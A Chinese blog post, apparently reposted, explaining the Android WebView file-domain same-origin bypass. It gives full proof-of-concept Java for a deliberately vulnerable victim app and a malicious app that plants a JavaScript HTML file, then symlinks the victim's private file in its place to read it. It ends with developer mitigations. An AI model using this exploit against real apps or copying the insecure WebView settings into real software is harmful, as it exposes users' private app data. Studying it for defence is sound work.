Webview File域同源策略绕过漏洞
来源:互联网 发布:ubuntu解压rar文件 编辑:程序博客网 时间:2024/06/02 06:54
一个比较老的漏洞,不能远程利用,只能通过Malicious App来攻击。
一、漏洞原理
1、漏洞原理
为了说明漏洞原理,这儿假设用户安装了两个App,第一个是攻击的App,即Benign App,另一个是Malicious App,也就是攻击者App。首先,由于Android沙箱机制的限制,Malicious App是不能访问Benign App的私有目录的。但是,如果Malicious App有了一个Webview,并且整个webview对外暴露,并且允许加载File域。那么,在Malicious App中设计一个File,并且在File中包含JS代码。那么,当Benign App加载了整个File之后,Malicious App把这个File删除。然后把Benign App的私有文件软链接到这个File,即创建了私有文件的快捷方式。此时,由于读取文件的操作实际上Benign App自己做的,所以能够读取私有文件。那么问题出在哪?就是File中的JS代码,JS文件虽然已经被删除,但是在File被删除前,JS代码已经加载。这样利用时间差,就可以读取私有文件了。
2、漏洞触发条件
- WebView没有禁止使用file域;
- WebView打开了对JavaScript的支持;
二、PoC代码
- Benign App示例:
package com.example.webviewfiledemo;import java.io.FileOutputStream;import android.app.Activity;import android.content.Intent;import android.net.Uri;import android.os.Bundle;import android.util.Log;import android.webkit.JsResult;import android.webkit.WebChromeClient;import android.webkit.WebView;import android.widget.Toast;public class MainActivity extends Activity { private WebView webView; private Uri mUri; private String url; String mUrl1 = "file:///android_asset/html/attack_file.html"; String mUrl2 = "file:///android_asset/html/test.html"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); webView = (WebView) findViewById(R.id.webview); webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new JSInterface(), "jsInterface"); webView.getSettings().setAllowFileAccessFromFileURLs(false); // webView.getSettings().setAllowFileAccess(false); writeFileData("private.txt","被攻击的App的私有文件"); webView.setWebChromeClient(new WebChromeClient() { @Override public boolean onJsAlert(WebView view, String url, String message, JsResult result) { // Required functionality here return super.onJsAlert(view, url, message, result); } }); Intent i = getIntent(); if (i != null) { mUri = i.getData(); } if (mUri != null) { url = mUri.toString(); } if (url != null) { webView.loadUrl(url); } } //向指定的文件中写入指定的数据 public void writeFileData(String filename, String message){ try { FileOutputStream fout = openFileOutput(filename, MODE_PRIVATE);//获得FileOutputStream //将要写入的字符串转换为byte数组 byte[] bytes = message.getBytes(); fout.write(bytes);//将byte数组写入文件 fout.close();//关闭文件输出流 } catch (Exception e) { e.printStackTrace(); } } class JSInterface { public String onButtonClick(String text) { final String str = text; runOnUiThread(new Runnable() { @Override public void run() { Log.e("leehong2", "onButtonClick: text = " + str); Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG) .show(); } }); return "This text is returned from Java layer. js text = " + text; } public void onImageClick(String url, int width, int height) { final String str = "onImageClick: text = " + url + " width = " + width + " height = " + height; Log.i("leehong2", str); runOnUiThread(new Runnable() { @Override public void run() { Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show(); } }); } }}
- Malicious App实例
package com.example.attackwebview;import android.app.Activity;import android.content.Intent;import android.net.Uri;import android.os.Bundle;public class MainActivity extends Activity { public final static String HTML = "<body>" + "<u>Wait a few seconds.</u>" + "<script>" + "var d = document;"+ "function doitjs(){"+ "var xhr = new XMLHttpRequest;"+ "xhr.onload = function(){"+ "var txt = xhr.responseText;"+ "d.body.appendChild(d.createTextNode(txt));"+ "alert(txt);"+"};"+ "xhr.open('GET',d.URL);"+ "xhr.send(null);"+ "}"+ "setTimeout(doitjs,8000);"+ "</script>"+ "</body>"; public static String MY_TMP_DIR; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath(); doit(); } public void doit() { String HTML_PATH = MY_TMP_DIR + "/A0" + ".html"; try { cmdexec("mkdir " + MY_TMP_DIR); cmdexec("echo \"" + HTML + "\" > " + HTML_PATH); cmdexec("chmod -R 777 " + MY_TMP_DIR); Thread.sleep(1000); invokeVulnAPP("file://" + HTML_PATH); Thread.sleep(6000); cmdexec("rm " + HTML_PATH); cmdexec("ln -s " + "/data/data/com.example.webviewfiledemo/files/private.txt" + " " + HTML_PATH); } catch (Exception e) { // TODO: handle exception } } public void invokeVulnAPP(String url) { try { Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url)); intent.addCategory(Intent.CATEGORY_LAUNCHER); intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity"); startActivity(intent); } catch (Exception e) { // TODO: handle exception } } public void cmdexec(String cmd) { try { String[] tmp = new String[] { "/system/bin/sh", "-c", cmd }; Runtime.getRuntime().exec(tmp); } catch (Exception e) { // TODO: handle exception } }}
- 结果实例
三、开发建议
- 将不必要导出的组件设置为不导出
如果应用的组件不必要导出,建议显式设置所注册组件的“android:exported”属性为false;
- 如果需要导出组件,禁止使用File域
如果应用的需要导出包含WebView的组件,建议禁止使用File域协议:
myWebView.getSettings. setAllowFileAccess(false);
如果需要使用File协议,禁止File协议调用JavaScript
如果应用的WebView需要使用File域协议,建议禁止File域协议调用JavaScript:
myWebView.getSettings. setJavaScriptEnabled(false);
参考:
[1]http://www.droidsec.cn/webview-file%E5%9F%9F%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E6%B5%85%E6%9E%90/
[2]http://blog.csdn.net/jltxgcy/article/details/50678304#quote
- Webview File域同源策略绕过漏洞
- Android WebView File域同源策略绕过漏洞浅析
- Android静态安全检测 -> WebView File域同源策略绕过漏洞
- 同源策略详解及绕过
- 同源策略详解及绕过
- ajax请求绕过同源策略的实现
- 在开发机上绕过Chrome同源策略的办法
- 跨域与同源策略
- 同源策略与跨域
- 跨域与同源策略
- 同源策略与跨域
- 跨域访问、同源策略
- 同源策略及跨域
- 同源策略
- 同源策略
- 同源策略
- 同源策略
- 同源策略
- css 中的浮动
- Android OpenGL ES 2.0学习研究 (一)
- LDD3源码分析之访问控制
- HTML name、id、class 的区别
- caffe增加自己的layer实战(上)--caffe学习(10)
- Webview File域同源策略绕过漏洞
- Serializable学习
- unity3d中脚本生命周期(MonoBehaviour lifecycle)
- The difference between the request time and the current time is too large.
- SpringMVC中的参数自动匹配
- 系统学习机器学习之神经网络(七) --CPN
- Unity Shader入门
- 接口多继承
- 安卓中使用Fiddler真机抓包